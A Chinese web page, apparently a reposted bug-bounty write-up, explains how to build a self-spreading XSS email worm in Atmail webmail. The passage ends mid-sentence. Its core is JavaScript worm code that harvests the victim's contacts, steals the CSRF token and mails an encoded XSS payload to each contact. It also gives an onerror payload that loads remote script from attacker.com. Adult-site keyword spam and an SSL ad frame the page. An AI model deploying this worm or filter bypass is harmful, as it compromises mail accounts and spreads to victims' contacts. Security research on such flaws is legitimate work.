日本综合一区二区|亚洲中文天堂综合|日韩欧美自拍一区|男女精品天堂一区|欧美自拍第6页亚洲成人精品一区|亚洲黄色天堂一区二区成人|超碰91偷拍第一页|日韩av夜夜嗨中文字幕|久久蜜综合视频官网|精美人妻一区二区三区

RELATEED CONSULTING
相關(guān)咨詢(xún)
選擇下列產(chǎn)品馬上在線(xiàn)溝通
服務(wù)時(shí)間:8:30-17:00
你可能遇到了下面的問(wèn)題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營(yíng)銷(xiāo)解決方案
如何在Atmail上構(gòu)建XSS蠕蟲(chóng)

這期內(nèi)容當(dāng)中小編將會(huì)給大家?guī)?lái)有關(guān)如何在Atmail上構(gòu)建XSS蠕蟲(chóng),文章內(nèi)容豐富且以專(zhuān)業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

河間ssl適用于網(wǎng)站、小程序/APP、API接口等需要進(jìn)行數(shù)據(jù)傳輸應(yīng)用場(chǎng)景,ssl證書(shū)未來(lái)市場(chǎng)廣闊!成為創(chuàng)新互聯(lián)的ssl證書(shū)銷(xiāo)售渠道,可以享受市場(chǎng)價(jià)格4-6折優(yōu)惠!如果有意向歡迎電話(huà)聯(lián)系或者加微信:028-86922220(備注:SSL證書(shū)合作)期待與您的合作!

前言

Atmail是一個(gè)熱門(mén)的云服務(wù)以及電子郵件托管提供商,目前有很多公司、主機(jī)服務(wù)商和ISP都在使用Atmail,比如說(shuō)DreamHost、LegalShield (美國(guó))、m:tel(波斯尼亞)、iiNet和Optus (澳大利亞)。作為DreamHost上的一名Atmail用戶(hù),當(dāng)我在專(zhuān)注于漏洞獎(jiǎng)勵(lì)項(xiàng)目的過(guò)程中,我曾見(jiàn)過(guò)幾次令我印象深刻的基于電子郵件的跨站腳本(XSS)攻擊。當(dāng)時(shí)我曾嘗試從他們的Web郵件客戶(hù)端中尋找安全漏洞,幾個(gè)小時(shí)后我便開(kāi)發(fā)出了一個(gè)可用的Payload,但是我想更進(jìn)一步,也就是構(gòu)建一個(gè)舊式的XSS蠕蟲(chóng)。最著名的XSS蠕蟲(chóng)就是2005年感染MySpace的蠕蟲(chóng)病毒了,而且在2014年這個(gè)蠕蟲(chóng)的最新變種還成功感染了    TweetDeck。

我將會(huì)給大家演示如何構(gòu)建一個(gè)可以通過(guò)目標(biāo)用戶(hù)聯(lián)系人來(lái)進(jìn)行自我傳播的XSS Payload。

測(cè)試環(huán)境

在開(kāi)始之前,我們需要搭建一個(gè)簡(jiǎn)單的測(cè)試環(huán)境。我們可以通過(guò)下列命令來(lái)發(fā)送電子郵件,然后在郵件內(nèi)容中植入XSS測(cè)試Payload:

cat content | mail -a "Content-type: text/html" -s "test" victim1@zjulian.com

接下來(lái),使用Firefox的開(kāi)發(fā)者工具來(lái)查看XSS Payload在Web郵件客戶(hù)端的DOM中是如何呈現(xiàn)的。

構(gòu)建XSS Payload

第一步,就是要構(gòu)建一個(gè)能夠繞過(guò)Atmail內(nèi)容過(guò)濾器的XSS Payload。我一開(kāi)始發(fā)送了一封包含了全部有效HTML標(biāo)簽的郵件,然后看看它是否能夠成功送達(dá),盡管我只打算使用標(biāo)簽。不過(guò),標(biāo)簽雖然非常適合構(gòu)建XSS Payload,但是在XSS觸發(fā)之前,目標(biāo)用戶(hù)必須要選擇在Atmail中顯示圖像才行。因此我們得使用那些不需要用戶(hù)交互便可以呈現(xiàn)內(nèi)容的標(biāo)簽,這樣才能提升Payload的質(zhì)量。

接下來(lái),我開(kāi)始研究Atmail是如何清除Payload的。Atmail為了對(duì)郵件內(nèi)容進(jìn)行過(guò)濾,并在用戶(hù)瀏覽器中顯示語(yǔ)法正確的標(biāo)記信息,Atmail會(huì)對(duì)標(biāo)簽中的字符和HTML屬性進(jìn)行修改。研究之后我發(fā)現(xiàn),Atmail只接受src、alt、longdesc、style、height和width這幾個(gè)屬性,而且我還注意到,Atmail會(huì)將單引號(hào)轉(zhuǎn)換為雙引號(hào),移除onerror事件,并且移除所有不包含src屬性的標(biāo)簽。

雖然onerror事件被移除了,但是如果能夠在標(biāo)簽中同時(shí)使用單引號(hào)和雙引號(hào)的話(huà),也許能夠繞過(guò)Atmail的過(guò)濾機(jī)制。顯然,這樣是可行的:

下面就是呈現(xiàn)在Web郵件客戶(hù)端中的內(nèi)容:

如何在Atmail上構(gòu)建XSS蠕蟲(chóng)

構(gòu)建蠕蟲(chóng)

找到了有用的XSS向量之后,下一步就是創(chuàng)建一個(gè)Payload來(lái)傳播我的電子郵件蠕蟲(chóng)。我編寫(xiě)了一份JavaScript代碼,然后完成了下列三件事:

1、 提取目標(biāo)用戶(hù)的聯(lián)系人列表;

2、 從Atmail提取有效的CSRF令牌;

3、 向目標(biāo)用戶(hù)聯(lián)系人列表中的每一位用戶(hù)發(fā)送惡意郵件;

代碼大致如下,XSS Payload以URL編碼的形式提供:

//HTTP request to grab victim's contactsxmlHttp=newXMLHttpRequest();xmlHttp.open('GET','/index.php/mail/contacts/viewcontacts/GroupID/0',false);xmlHttp.send(null);response=xmlHttp.responseText; //Extract email addresses and filter duplicatesvar extractedemails = response.match(/[A-Z0-9._%+-]+@[A-Z0-9.-]+.[A-Z]{2,4}/igm);var uniqueemails = [];for(vari = 0; i < extractedemails.length; i++){if(uniqueemails.indexOf(extractedemails[i]) == -1)uniqueemails.push(extractedemails[i]);} //HTTP request to get CSRF tokenxmlHttp.open('GET','/index.php/mail/contacts',false);xmlHttp.send(null);response2=xmlHttp.responseText;var csrftoken = response2.match(/name=\"atmailCSRF"value=\"(.+?)\"/im); //Loop through contacts and send emailfor(var i = 0; i < uniqueemails.length; i++) {       xmlHttp.open('POST','/index.php/mail/composemessage/send',false);       var params = 'atmailCSRF=' + csrftoken[1]+ '&emailTo=' + unique[i] +'&emailSubject=open%20me&emailBodyHtml=%3c%68%33%3e%61%74%6d%61%69%6c%20%65%6d%61%69%6c%20%58%53%53%20%77%6f%72%6d%3c%2f%68%33%3e%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0a%3c%69%6d%67%20%6c%6f%6e%67%64%65%73%63%3d%22%73%72%63%3d%27%78%27%6f%6e%65%72%72%6f%72%3d%65%76%61%6c%28%77%69%6e%64%6f%77%2e%61%74%6f%62%28%27%61%57%35%6a%62%48%56%6b%5a%54%31%6b%62%32%4e%31%62%57%56%75%64%43%35%6a%63%6d%56%68%64%47%56%46%62%47%56%74%5a%57%35%30%4b%43%64%7a%59%33%4a%70%63%48%51%6e%4b%54%74%70%62%6d%4e%73%64%57%52%6c%4c%6e%4e%79%59%7a%30%6e%61%48%52%30%63%48%4d%36%4c%79%39%68%64%48%52%68%59%32%74%6c%63%69%35%6a%62%32%30%76%59%58%52%74%59%57%6c%73%4c%6d%70%7a%4a%7a%74%6b%62%32%4e%31%62%57%56%75%64%43%35%6f%5a%57%46%6b%4c%6d%46%77%63%47%56%75%5a%45%4e%6f%61%57%78%6b%4b%47%6c%75%59%32%78%31%5a%47%55%70%4f%77%3d%3d%27%29%29%3b%2f%2f%3e%3c%69%6d%67%20%22%20%73%72%63%3d%27%73%68%6f%77%6d%65%27%3e';       xmlHttp.setRequestHeader('Content-type','application/x-www-form-urlencoded');       xmlHttp.send(params);

首先,我嘗試過(guò)Base64編碼,然后把XSS Payload嵌入到了onerror事件中。接下來(lái),代碼會(huì)使用eval(atob())來(lái)解碼并執(zhí)行Payload代碼:

但是,我發(fā)現(xiàn)Atmail會(huì)將我Base64編碼的字符串壓縮到945個(gè)字符,這就太短了。所以我打算把它托管到一個(gè)外部地址,然后重寫(xiě)我的XSS Payload:

onerror="include=document.createElement('script');include.src='https://attacker.com/atmail.js';document.head.appendChild(include);"

上面這段Payload代碼會(huì)在頁(yè)面元素中創(chuàng)建一個(gè)新的